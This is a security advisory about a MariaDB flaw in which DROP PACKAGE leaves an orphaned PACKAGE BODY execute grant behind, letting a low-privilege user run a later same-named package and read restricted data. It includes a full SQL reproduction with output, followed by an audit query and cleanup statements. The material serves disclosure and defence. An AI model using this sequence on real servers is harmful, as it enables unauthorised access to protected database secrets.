A high-severity privilege escalation flaw in MariaDB Server allowed unprivileged database users to hijack administrative packages and execute queries with DBA-level root authority. Documented in coordinated public disclosure via HackerOne (Report #3908943) by security researcher heyoimjeb, the vulnerability arises from an asymmetrical catalog cleanup defect: executing DROP PACKAGE deletes routine definitions from mysql.proc but leaves the PACKAGE BODY execution grant orphaned in the security authorization table mysql.procs_priv.
| Specification Parameter | Vulnerability Detail & Telemetry | Technical Risk & Exploit Impact |
|---|---|---|
| Target Software | MariaDB Server 12.3.2 GA (verified in official mariadb:latest container) |
Affects all active installations operating in Oracle compatibility mode (sql_mode=ORACLE). |
| Vulnerability Identifier | MARIADB-2026-DROP-PACKAGE-PRIVESC / CWE-272 & CWE-284 |
Catalog authorization omission causing persistent unearned privilege escalation. |
| Severity Rating | High (CVSS 7.7) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
Low-privilege user silently gains execution rights on future administrative routines. |
| Catalog Failure Point | mysql.procs_priv (orphaned Routine_type = 'PACKAGE BODY' grant) |
Failure to cascade authorization revocation during package deletion. |
| Reporter Attribution | Security Researcher heyoimjeb |
Disclosed via HackerOne bug bounty program with reproducible test script. |
PL/SQL Package Architecture & The Catalog Drop Asymmetry
MariaDB provides enterprise compatibility with Oracle PL/SQL packages when the server runs with sql_mode=ORACLE. A package is composed of two distinct database objects: the package specification (which declares public functions, procedures, and types) and the package body (which provides the executable implementation logic).
Behind the scenes, MariaDB tracks these routines inside system catalog tables:
mysql.proc: Stores routine definitions, separating the specification (Routine_type = 'PACKAGE') and implementation (Routine_type = 'PACKAGE BODY').mysql.procs_priv: Controls execution authorization, tracking user permissions for specific routines.
When an administrator drops a standalone stored procedure or function using DROP PROCEDURE or DROP FUNCTION, MariaDB's catalog maintenance logic cleanly purges both the routine definition from mysql.proc and any corresponding authorization grants from mysql.procs_priv. Even when executing DROP PACKAGE BODY, the grant row is cleanly eliminated.
However, when executing DROP PACKAGE <name>, an oversight in sql/sql_acl.cc causes asymmetrical catalog cleanup. While the command successfully removes both mysql.proc rows, it only removes the PACKAGE row from mysql.procs_priv, completely leaving behind the PACKAGE BODY grant:
| SQL Drop Statement | mysql.proc Cleanup | mysql.procs_priv Cleanup | Residual Catalog State |
|---|---|---|---|
DROP PROCEDURE c_proc |
Removes PROCEDURE definition |
Removes PROCEDURE grant |
CLEAN: Zero residual authorization. |
DROP FUNCTION c_func |
Removes FUNCTION definition |
Removes FUNCTION grant |
CLEAN: Zero residual authorization. |
DROP PACKAGE BODY c_pkg |
Removes PACKAGE BODY definition |
Removes PACKAGE BODY grant |
CLEAN: Zero residual authorization. |
DROP PACKAGE c_pkg |
Removes both PACKAGE & BODY rows |
Removes only PACKAGE grant! |
VULNERABLE: PACKAGE BODY grant remains active and orphaned! |
The Exploit Mechanism: Privilege Inheritance on Recreated Packages
Because execution privileges in MariaDB gate specifically on the PACKAGE BODY entry in mysql.procs_priv, leaving this row behind creates a latent security backdoor.
Consider the following attack sequence documented by researcher heyoimjeb:
Step 1: Benign Package Lifecycle
An administrator creates a benign package kvchk and grants execution rights to a low-privilege reader account ('reader'@'%'):
SET sql_mode=ORACLE;
USE appdb;
DELIMITER $$
CREATE PACKAGE kvchk AS FUNCTION f RETURN VARCHAR2(64); END$$
CREATE PACKAGE BODY kvchk AS FUNCTION f RETURN VARCHAR2(64) AS BEGIN RETURN 'benign'; END; END$$
DELIMITER ;
GRANT EXECUTE ON PACKAGE BODY appdb.kvchk TO 'reader'@'%';
Step 2: Dropping the Package
The administrator subsequently decides to decommission the package:
DROP PACKAGE kvchk;
If we inspect the system catalog tables immediately following the drop, the definition is gone from mysql.proc, but the grant stubbornly survives in mysql.procs_priv:
=== mysql.proc rows after DROP PACKAGE ===
proc_rows: 0
=== mysql.procs_priv after DROP PACKAGE ===
Db User Routine_name Routine_type Proc_priv
appdb reader kvchk PACKAGE BODY Execute
Step 3: Privileged Package Re-Creation
At a later date, the root database administrator creates a new, sensitive package sharing the same name (kvchk). This new package operates with default SQL SECURITY DEFINER rights and queries a highly restricted internal table (vault) containing enterprise secrets:
DELIMITER $$
CREATE PACKAGE kvchk AS FUNCTION f RETURN VARCHAR2(64); END$$
CREATE PACKAGE BODY kvchk AS FUNCTION f RETURN VARCHAR2(64) AS
v VARCHAR2(64);
BEGIN
SELECT secret INTO v FROM vault WHERE id=1;
RETURN v;
END;
END$$
DELIMITER ;
Crucially, the DBA never grants reader any privilege on this new package.
Step 4: Unprivileged Secret Extraction
When the unprivileged user reader attempts to query the vault table directly, the database server blocks the request as expected:
reader> SELECT * FROM vault;
ERROR 1142 (42000): SELECT command denied to user 'reader'@'localhost' for table `appdb`.`vault`
However, because the orphaned PACKAGE BODY grant remains active in mysql.procs_priv, the low-privilege user simply invokes the package function:
reader> SET sql_mode=ORACLE; SELECT kvchk.f() AS leaked;
+---------------------+
| leaked |
+---------------------+
| HUNT-VAULT-9f3a2c71 |
+---------------------+
1 row in set (0.001 sec)
The low-privilege user successfully bypassed all access control gates, reading sensitive financial tokens and administrative secrets via the newly defined package!
Role Propagation & Multi-Tenant Persistence
The researcher further demonstrated that this vulnerability propagates through MariaDB's database role hierarchy. If EXECUTE ON PACKAGE BODY is granted to a role (e.g., intern_role) rather than directly to a user account, dropping the package leaves an identical orphan in mysql.procs_priv. Any user assigned to that role in the future automatically inherits execution rights on any recreated package of the same name.
Remediation & Defensive Audit Script
MariaDB patched the issue in sql/sql_acl.cc by ensuring that DROP PACKAGE issues catalog deletion queries for both PACKAGE and PACKAGE BODY routine types in mysql.procs_priv.
Database administrators should immediately run the following audit query to identify any orphaned package body grants residing in their systems:
-- Detect orphaned PACKAGE BODY grants in mysql.procs_priv:
SELECT p.Db, p.User, p.Routine_name, p.Routine_type, p.Proc_priv
FROM mysql.procs_priv p
LEFT JOIN mysql.proc m
ON p.Db = m.db
AND p.Routine_name = m.name
AND m.type = 'PACKAGE BODY'
WHERE p.Routine_type = 'PACKAGE BODY'
AND m.name IS NULL;
If any rows are returned, purge the orphaned authorizations immediately:
DELETE FROM mysql.procs_priv
WHERE Routine_type = 'PACKAGE BODY'
AND Routine_name NOT IN (SELECT name FROM mysql.proc WHERE type = 'PACKAGE BODY');
FLUSH PRIVILEGES;



